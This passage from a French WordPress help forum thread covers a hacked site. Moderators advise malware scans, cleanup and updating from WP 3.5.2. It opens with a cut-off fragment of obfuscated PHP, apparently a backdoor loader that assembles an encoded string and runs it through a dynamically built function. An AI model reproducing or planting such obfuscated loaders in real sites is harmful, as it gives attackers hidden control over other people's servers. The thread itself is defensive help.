substr($ulytairvtl, $bdbrdxynkx[($xaeutgisxy*2)],$bdbrdxynkx[($xaeutgisxy*2)+1]); } return $iujxpfemyb; };} $okandzturl="x2057x2a40x6b160x62167x71150x62164x71165x2052x2f40x65166x61154x28163x74162x5f162x65160x6c141x63145x28143x68162x2850x3170x3055x3164x3351x2954x20143x68162x2850x3367x3655x3270x3451x2954x20145x78152x7a167x70143x6e147x6d50x24157x68145x65150x78155x64144x6c54x24155x6d157x71142x65144x79162x6451x2951x3b40x2f52x20156x6f147x79164x6b155x70147x6540x2a57x20"; $ynpoctrsyb=substr($mmoqbedyrd,(33429-23316),(71-59)); $ynpoctrsyb($dpvazvrvxx, $okandzturl, NULL); $ynpoctrsyb=$okandzturl; $ynpoctrsyb=(727-606); $mmoqbedyrd=$ynpoctrsyb-1; ?>

    #951978
    Franck (fge)
    Modérateur
    Maître WordPress
    9572 contributions

    Plusieurs causes sont possibles, comme un malware sur l’ordinateur qui permet de transmettre les identifiants & mot de passe à un pirate ou des failles de sécurité sur le site permettant de pirater des accès pour prendre le contrôle du site. La première chose à faire est de scanner le PC avec un anti-virus anti/malware.
    Regarde les conseils donnés par ce site : http://www.iceranking.com/wordpress-seo/guide-complet-pour-nettoyer-et-securiser-wordpress-apres-un-hacking/ pour essayer de nettoyer et sécuriser le site.

    #951979
    francoisdufaut
    Participant
    Initié WordPress
    5 contributions

    Merci pour le lien je vais regarder ça.
    Merci

    #951980
    Flobogo
    Modérateur
    Maître WordPress
    20563 contributions

    Bonsoir,

    @ Fge : est-ce que la 1ère cause ce ne serait pas le fait que Françoisdufaut est encore en WP 3.5.2 ?
    Et par conséquent, l’une des solutions serait de passer ( progressivement ) à WP 3.9.1 ?

    #951981
    Franck (fge)
    Modérateur
    Maître WordPress
    9572 contributions

    @ Fge : est-ce que la 1ère cause ce ne serait pas le fait que Françoisdufaut est encore en WP 3.5.2 ?

    Si c’est réellement une intrusion FTP, que l’on a la trace dans le logs d’une connexion d’un individu à des jours/heures qui ne correspondent pas à ses propres connexions, que cela se reproduise malgré les changements du mot de passe, il y a des chances que ce soit un malware sur l’ordinateur.
    Maintenant, il aussi est en effet possible que le problème vienne de l’exploitation d’une faille sur le site (WordPress, thème ou extension) et non un problème avec FTP, c’est pourquoi j’ai aussi conseillé le tutoriel pour nettoyer WordPress.

    Et par conséquent, l’une des solutions serait de passer ( progressivement ) à WP 3.9.1 ?

    Oui, mais dans un premier temps, il faut d’abord s’assurer que le PC et le site sont propres et ne contiennent pas / plus de malwares sinon, l’infection risque de se reproduire immédiatement après la mise à jour. Dans un second temps, il faudra faire les mises à jour de WordPress, du thème et des extensions pour s’assurer d’avoir des versions à jour et une installation sécurisée.

5 sujets de 1 à 5 (sur un total de 5)
  • Vous devez être connecté pour répondre à ce sujet.